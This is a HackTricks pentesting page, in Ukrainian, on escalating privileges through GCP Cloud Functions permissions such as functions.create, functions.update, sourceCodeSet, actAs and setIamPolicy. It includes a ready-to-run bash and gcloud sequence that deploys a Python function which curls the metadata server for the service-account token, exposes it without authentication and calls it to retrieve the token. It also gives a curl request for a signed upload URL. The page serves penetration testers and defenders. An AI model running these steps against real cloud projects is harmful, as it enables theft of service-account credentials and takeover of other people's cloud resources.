GCP - Cloudfunctions Privesc

Support HackTricks

cloudfunctions

Більше інформації про Cloud Functions:

GCP - Cloud Functions Enum

cloudfunctions.functions.create , cloudfunctions.functions.sourceCodeSet, iam.serviceAccounts.actAs

Зловмисник з цими привілеями може створити нову Cloud Function з довільним (шкідливим) кодом і призначити їй обліковий запис служби. Потім, витягнути токен облікового запису служби з метаданих, щоб підвищити привілеї до нього. Можливо, знадобляться деякі привілеї для активації функції.

Скрипти експлуатації для цього методу можна знайти тут і тут, а попередньо зібраний .zip файл можна знайти тут.

cloudfunctions.functions.update , cloudfunctions.functions.sourceCodeSet, iam.serviceAccounts.actAs

Зловмисник з цими привілеями може модифікувати код функції і навіть змінювати обліковий запис служби, що прикріплений з метою ексфільтрації токена.

Щоб розгорнути cloud functions, вам також знадобляться дозволи actAs для облікового запису служби за замовчуванням або для облікового запису служби, що використовується для створення образу.

Деякі додаткові привілеї, такі як дозвіл .call для версії 1 cloudfunctions або роль role/run.invoker для активації функції можуть бути необхідні.

# Create new code
temp_dir=$(mktemp -d)

cat > $temp_dir/main.py <<EOF
import subprocess

def main(request):
cmd = "curl -s -f -H 'Metadata-Flavor: Google' 'http://metadata/computeMetadata/v1/instance/service-accounts/default/token'"
result = subprocess.check_output(cmd, shell=True, text=True)
return result
EOF

echo "" > $temp_dir/requirements.txt

zip -r $temp_dir/function.zip $temp_dir/main.py $temp_dir/requirements.txt

# Update code
gcloud functions deploy <cloudfunction-name> \
--runtime python312 \
--source $temp_dir \
--entry-point main \
--service-account <sa>@$PROJECT_ID.iam.gserviceaccount.com \
--trigger-http \
--allow-unauthenticated

# Get SA token calling the new function code
gcloud functions call <cloudfunction-name>

Якщо ви отримали помилку Permission 'run.services.setIamPolicy' denied on resource..., це означає, що ви використовуєте параметр --allow-unauthenticated і у вас недостатньо прав для цього.

Скрипт експлуатації для цього методу можна знайти тут.

cloudfunctions.functions.sourceCodeSet

З цією дозволом ви можете отримати підписане URL, щоб завантажити файл до функціонального бакету (але код функції не буде змінено, вам все ще потрібно його оновити)

# Generate the URL
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions:generateUploadUrl \
-H "Authorization: Bearer $(gcloud auth application-default print-access-token)" \
-H "Content-Type: application/json" \
-d '{}'

Не зовсім впевнений, наскільки корисним є лише цей дозвіл з точки зору атакуючого, але добре знати.

cloudfunctions.functions.setIamPolicy , iam.serviceAccounts.actAs

Надайте собі будь-які з попередніх .update або .create привілеїв для ескалації.

cloudfunctions.functions.update

Маючи лише cloudfunctions дозволи, без iam.serviceAccounts.actAs ви не зможете оновити функцію, ТОМУ ЦЕ НЕ Є ДІЙСНОЮ ЕСКАЛАЦІЄЮ ПРИВІЛЕЇВ.

Дозволи на запис у бакет

Ви можете подумати, що атакуючий з дозволами на запис у бакет, де зберігається код Cloud Functions, зможе змінити код, перезаписуючи function_code.zip, а потім змусити функцію виконати довільний код.

Однак це не так, просто перезапис коду всередині бакету не змінить код, що виконується.

Посилання

Підтримайте HackTricks

Last updated